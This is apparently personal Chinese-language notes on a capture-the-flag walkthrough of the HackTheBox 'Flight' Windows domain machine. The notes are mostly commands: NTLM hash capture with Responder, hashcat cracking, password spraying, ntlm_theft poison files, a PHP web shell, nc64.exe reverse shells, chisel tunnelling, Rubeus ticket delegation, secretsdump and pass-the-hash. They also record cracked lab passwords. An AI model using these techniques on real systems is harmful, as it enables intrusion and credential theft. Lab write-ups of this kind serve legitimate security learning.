hackthebox flight insane
主机发现
nmap -sV -sC -oN flight 10.10.11.187
88端口开放所以是一个域环境
tips:在域环境中,只要与kerberos相关的事情,必须要与域环境中的时间一致
域环境smbenum主机头
由于开放了445端口,首先用cme枚举445端口 cmd --help 枚举可用常规选项 cme smb --help 查看smb内的选项
cme smb 10.10.11.187 枚举运行smb服务的这个主机名是什么 显示为G0 添加到hosts文件中
查看web服务
发现是一个类似预定机票的页面
利用gobuster爆破目录
gobuster -u http://10.10.11.187 -w /opt/xx.xxdictionary -x php,git,asp
域环境enum web的主机头 通过host字段
目的:查看有没有其他的主机开启了web服务
ffuf -u http://10.10.11.187 -H "host: FUZZ.flight.htb" -w /xx dictionary -mc all -fs 7069
根据显示出哪个多fs的size就是哪个,一般多的都是不正确的
跑出一个school主机头 写入hosts文件中
访问这个主机开启的web服务 点击导航栏看到url的变化从school.flight.htb/index.php出现几个字符 ?view=about.html
查看school.flight.htb/about.html出现一段文本,那这个view的作用就是将这段about.html的文本渲染到已经形成好的页面上,有点像先摆好面包,再决定上什么酱的感觉
那么这个interact参数有可能存在目录穿越漏洞(单纯泄露文件内容)和本地文件包含漏洞(会执行代码)
CTRL U 看看网页源代码有没有显示出php的页面存不存在这个漏洞
发现由php代码,查看发现是对view的内容后缀名由要求 只要由.. \ htaccess 和shtml就直接报错拦截
所以不能使用目录穿越漏洞,本地包含可以试一下
抓包尝试一下看看能不能进进行远程文件包含
发送该请求,并在kali监听445端口看看有没有申请访问的列表
nc -lvnp 445
确实有访问到,所以可以利用responder来监听网卡获得信息
python3 responder.py -I tun0
再次回到抓包的页面利用view进行一个远程文件访问kali的smb服务得到信息 (第一次失败)
因为之前我们尝试访问smb的时候用的就是这两个路径存在缓存的关系,修改subscribe添加一个2即可
成功获得hash值
copy这个ntlmhash到hashcat中进行破解
hashcat hashfile /usr/share/wordlists/rockyou.txt
成功破解
密码是S@Ss!K@*t13
所以这个用户名密码是SVC_APACHE/S@Ss!K@*t13
如果这里没有即使记录到帐号以及密码,那么可以使用sqlite3 responder.db .dump查看对应的账号密码
由于不知道这个账号密码是哪个服务的账号密码可以使用cme进行爆破猜解
首先查看445端口是不是这个账号密码
cme smb 10.10.11.187 -u 'svc_apache' -p 'S@Ss!K@*t13'
再试一下--shares 有没有共享的目录
存在
利用smbclient和这对账号密码进行登录查看有没有什么值得的信息
smbclient //10.10.11.187 -U 'svc_apache' //10.10.11.187/Shared
password:xxx
由于smb里面展示的服务比较多,我们先利用cmd的--users选项将所有的users都能打印出来
cmd smb 10.10.11.187 -u 'svc_apache' -p ' 密码' --users > users.txt
利用awk将第五列的所有用户名都打印出来
cme smb 10.10.11.187 -u 'svc_apache' -p 'mima ' --users | awk '{print $5}'
利用cme进行密码喷射看看会不会有其他用户也会用同一个密码进行登录
将上述所有的账户写到users.txt中
cme smb 10.10.11.187 -u users.txt -p '密码'
找到了一个就停下来了 但是这是我们已经有的密码 添加--continue-on-success
cme smb 10.10.11.187 -u users.txt -p '密码' --continue-on-success
发现还有一个叫S.Moon的用户用的也是这个密码
利用cme查看moon用户再smb共享了什么文件夹
cme smb 10.10.11.187 -u 'S.Moon' -p '密码' --shares
再利用smbclient -U 'S.Moon' //10.10.11.187/Web等逐个查看共享了什么东西
可以利用这个共享目录放一个poison file去获得一个新得hash
discovering a writeable share dropping a scf file to get a hash
but easier way to create one poison file is ntlm_theft
git clone https://github.com/Greenwolf/ntlm_theft
利用这个工具生成几个文件
python ntlm_theft.py -g all -s 10.10.14.8 -f pleasesubscribe
生成文件之后,进入到靶机smb里面进行
同时利用responder监听tun0端口抓取smb hash
python responder.py -I tun0 监听完成后 再次进入到靶机smb里面进行操作
将我们利用ntlm_theft生成的文件put到靶机smb中
smb:> put pleasesubscribe.scf #报错
可能是权限得问题
那再尝试一下其他的
smb:> put desktop.ini #成功
#desktop文件长这样
成功上传到靶机后,该poison file就会自动执行 sleep 120 来确定两分钟之内responder有没有抓到hash 如果没有的话就换下一个文件
responder成功抓取到hash
复制保存到hash.txt并利用hashcat进行破解
hashcat hash.txt /usr/share/wordlists/rockyou.txt #让hashcat自动寻找是什么类型的文件
找到密码为Tikkycoll_431012284 将获得到的账号以及密码都保存好
由于他是smb的hash,所以也可以利用cme获取这个C.BUM用户开启了什么smb的共享目录
cme smb 10.10.11.187 -u 'C.BUM' -p 'Tikkycoll_431012284 --share
发现这个web目录具有可读可写权限,尝试能不能在里面写一个shell文件
在/tmp目录下创建一个shell.php
<?php system($_REQUEST['cmd']);?>
靶机smb命令行
smb :> lcd /tmp目录下 #local cd 本地目录切换
smb :> put shell.php
根据目录提示所以这个shell.php应该在根目录的位置
直接访问 http://flight.htb/shell.php?cmd=whoami #成功
利用nc或者bash直接反弹shell
但是这里与以往不同的是,这个靶机是windows主机,所以要额外下载nc64.exe利用smb上传到靶机上
#下载netcat
点击netcat 1.12download并解压到/tmp目录下 #主要是为了和smb的的local 目录对应
smb :> put nc64.exe #成功上传
http://flight.htb/shell.php?cmd=nc64.exe -e powershell.exe10.10.14.8 9001 #注意是powershell.exe
然后突然报错说404页面 说明我们上传的shell.php被删掉了 可能存在定期删除上传文件的机制
重新put一下shell.php和nc64.exe
上传成功后refresh一下 kali段监听的9001成功获取powershell
查看权限
whoami
想上下快速打出命令的时候发现是[[A和]]B 重新利用rlwrap nc -lvnp 9001监听即可
获取shell后想找一个能够写入的目录
利用icacls并指定某个目录去查看这个目录的权限
icacls development
说明flight\C.Bum是具有这个目录的写权限
在powershell中切换用户
runas /user:c.bum cmd
有一个项目叫runascs
https://github.com/antonioCoco/RunasCs/releases/tag/v1.5 下载zip文件
并解压文件出两个exe文件,利用curl将runascs文件上传到靶机上
curl http://10.10.14.8/runascs.exe -o runascs.exe
根据runascs的用法 后面跟C.bum Tikkycoll_431012284 'nc -e powershell.exe 10.10.14.8 9001' -r
所以还要将nc64.exe上传到靶机上
curl http://10.10.14.8:8000/nc64.exe
再看看runascs的example能查看到runascs后 重定向一个指定的命令到远程主机
.\runascs c.bum passwd powershell.exe -r 10.10.14.8:9001
成功获取到账户是C.bum用户的shell
然后进入到inethub的development目录,因为上面用moon的账户利用icacls查看过这个development目录对于用户c.bum有写权限
cd \inethub\development目录
写一个shell文件进去 --可以利用
或者下载/laudanum下aspx/shell.aspx
修改shell.aspx文件的目的地址以及端口
并用靶机shellcurl到development目录下
curl http://10.10.14.8/shell.aspx -o rev.aspx
1.靶机将kali上的shell.aspx下载到development目录下
2.再尝试利用curl看看能不能直接执行shell.aspx文件 (失败)
3.上传chisel进行http隧道 下载的是windowsamd64的版本 和linuxamd64版本
(kali做服务器模式,让靶机链接kali)
kali server chmod +x chisel_linux_amd64 ./chisel_linux_amd64 -p 8001
windows靶机 : curl http://10.10.14.8:8000/chisel -o chisel.exe
运行 : chisel.exe client 10.10.14.8:8001 L:8000:127.0.0.1:8002
失败
报错: client cannot listen on L:8000=> 8002
(kali主动连接客户端模式 --reverse)
kali ./chisel_linux_amd64 -p 8001 --reverse
windows: chisel.exe client 10.10.14.8:8001 R:8002:127.0.0.1:8000
链接成功
kali访问本地的8002端口即可访问到靶机上上传的shell.aspx文件
利用这个命令执行的接口进行nc64.exe -e poweshell.exe 10.10.14.8 9001 将iis用户apppool\defaultapppool用户反弹shell
kali开启监听 :rlwrap nc -lvnp 9001
成功获取到shell,但是不确定这个shell是不是system级别的账户 这里可以利用responder然后在这个用户的shell里访问\\10.10.14.8\ipp\sec来访问kali的smb目录并开启responder抓取密码以及信息
成功抓取到并且前面是G0$的开头说明这个是system级别的用户
利用这个system级别的账户做一个tgt委派获得这个系统的ticket,再用来转储域或DC同步
利用rubeus来进行攻击
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用 hashcat 或 john 爆破的Hash。
在靶机的iis级账户shell中利用curl下载rubeus.exe
运行rubeus.exe
./rubeus.exe tgtdeleg /nowrap #成功获取一张TGT
将ticket.kirbi复制出来并命名为ticket.kirbi.bare64 因为上面写明了是经过了base64加密后的ticket
cat ticket.kirbi.base64 | base64 -d > kirbi.ticket
再利用kirbi2ccache ticket.kirbi ticket.ccache
生成完成 得到了一个ticket.ccache file ticket.ccache is data
将票据注入到KRB5CCNAME中
export KRB5CCNAME=ticket.ccache
再利用secretdump.py进行打印 注意这张票据是g0开头,所以主机头要加一个g0
发现是报错并没有注入成功
注意域渗透最关键的一步也是要同步时钟
用ntpdate -s flight.htb对域环境的时间进行同步
发现回退了几个小时,再利用secretdump.py进行打印账户密码
secretdump.py -k --no-pass g0.flight.htb (失败)
仍然是报错 说是ldap的过滤器有问题
那就切换成impacket-secretsdump.py进行打印
impacket-secretsdump.py -k --no-pass g0.flight.htb
成功打印
发现有administrator的hash
利用cme对administrator的smb进行账户和密码hash的检验
cme smb -u 'administrator' -H 'aad3bxxxxx:43bbfc530xxx17c'
说明是这个密码
再利用psexec.py获取administrator的shell
psexec.py administrator@10.10.11.187 -hashes
成功获取shell
查看是否存在dig域传送获取所有的解析记录
利用dig 检测dns域传送漏洞
这里涉及dig 一个重要的命令axfr
:
axfr
是q-type类型的一种: axfr类型是Authoritative Transfer的缩写,指请求传送某个区域的全部记录。
我们只要欺骗dns服务器发送一个axfr请求过去, 如果该dns服务器上存在该漏洞,就会返回所有的解析记录值
dig axfr @10.10.11.187